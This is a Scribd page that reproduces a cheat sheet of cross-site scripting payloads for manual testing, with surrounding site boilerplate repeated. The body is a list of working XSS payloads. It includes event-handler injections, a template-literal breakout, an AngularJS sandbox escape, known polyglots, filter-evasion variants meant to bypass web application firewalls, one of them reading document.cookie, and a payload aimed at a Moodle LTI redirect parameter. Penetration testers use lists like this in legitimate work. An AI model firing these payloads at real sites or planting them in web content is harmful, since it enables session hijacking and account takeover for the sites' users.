Scribd
Upload
38 views2 pages

<img src=x>

Here are the key points from the document in 3 sentences: The document provides a list of common cross-site scripting (XSS) payloads to test for XSS vulnerabilities manually. It includes payloads that can be used in URL queries, forms, and comments. The payloads cover different contexts like AngularJS and ways to bypass web application firewalls that block common XSS techniques.

Uploaded by

test123for attacker
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
38 views2 pages

<img src=x>

Here are the key points from the document in 3 sentences: The document provides a list of common cross-site scripting (XSS) payloads to test for XSS vulnerabilities manually. It includes payloads that can be used in URL queries, forms, and comments. The payloads cover different contexts like AngularJS and ways to bypass web application firewalls that block common XSS techniques.

Uploaded by

test123for attacker
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

Here's a small #XSS list for manual testing (main cases, high success rate).

"><svg/onload=alert`1`>
"><img src onerror=alert(1)>
"autofocus onfocus=alert(1)//
</script><script>alert(1)</script>
'-alert(1)-'
\'-alert(1)//
javascript:alert(1)

*********************************
comibine payload xss,ssti/csti,xss
'"<svg/onload=prompt(5);>{{7*7}}
*****************************************
Try it on:
- URL query, fragment & path;
- all input fields.
***********************************************************************************
Comment as a payload xss:-
https%3A%2F%2Fptop.only.wip.la%3A443%2Fhttp%2Ffoo%3F%26apos%3B-alert%281%29-%26apos%3B i.e URL http://foo?&apos;-
alert(1)-&apos;
**********************************************************************************
if input string is reflected in var tempelate literal
like
var message = `0 search results for 'hello'`;

try this payload:-${alert(1)}


***********************************************************************************
AngularJS XSS :-
?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|
orderBy:toString().constructor.fromCharCode
(120,61,97,108,101,114,116,40,49,41)=1
***********************************************************************************
Rsnake polygloat xss
:-
';alert(String.fromCharCode(88,83,83))//';alert(String.
fromCharCode(88,83,83))//";alert(String.fromCharCode
(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
***********************************************************************************
*********************************************************

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\


><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex
formaction=javascript:alert(/XSS/) type=submit>'-->"
></script><script>alert(1)</script>"><img/id="confirm&lpar;
1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http:
//i.imgur.com/P8mL8.jpg">

```
***********************************************************************************
***********************
### Multi-context polyglot payload (Mathias Karlsson)
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
***********************************************************************************
******
XSS waf bypass:

<iframe> and javascript <- Blocked.


<ifram%0de> <- Reflecting as <iframe>

Final payload:

<ifram%0de src=jav%0dascript:alert(document.cookie)>
*********************************************************
mmodle xss

example[.]com/mod/lti/auth.php?redirect_uri=javascript:alert(1)
***************************************************************
Getting WAFs in exploiting XSS? Try these:

1. ">'><details/open/ontoggle=confirm('XSS')>
2. '';!--"<XSS>=&{()}
3. <!--><script>alert/**/()/**/</script>

*************************************************************
polygot: jaVasCript:/*-/*`/*\`/*'/*"/*%0D%0A%0d%0a*/(/* */oNcliCk=alert()
)//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3ciframe/<iframe/oNloAd=alert()//>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/
oNloAd=alert()//>\x3e

*******************************************************************
"%2Bself[%2F*foo*%2F'alert'%2F*bar*%2F](self[%2F*foo*%2F'document'%2F*bar*%2F]
['domain'])%2F%2F
<iframe+/ON+onload=%20alert(/str0d/)>
Cloudflare

You might also like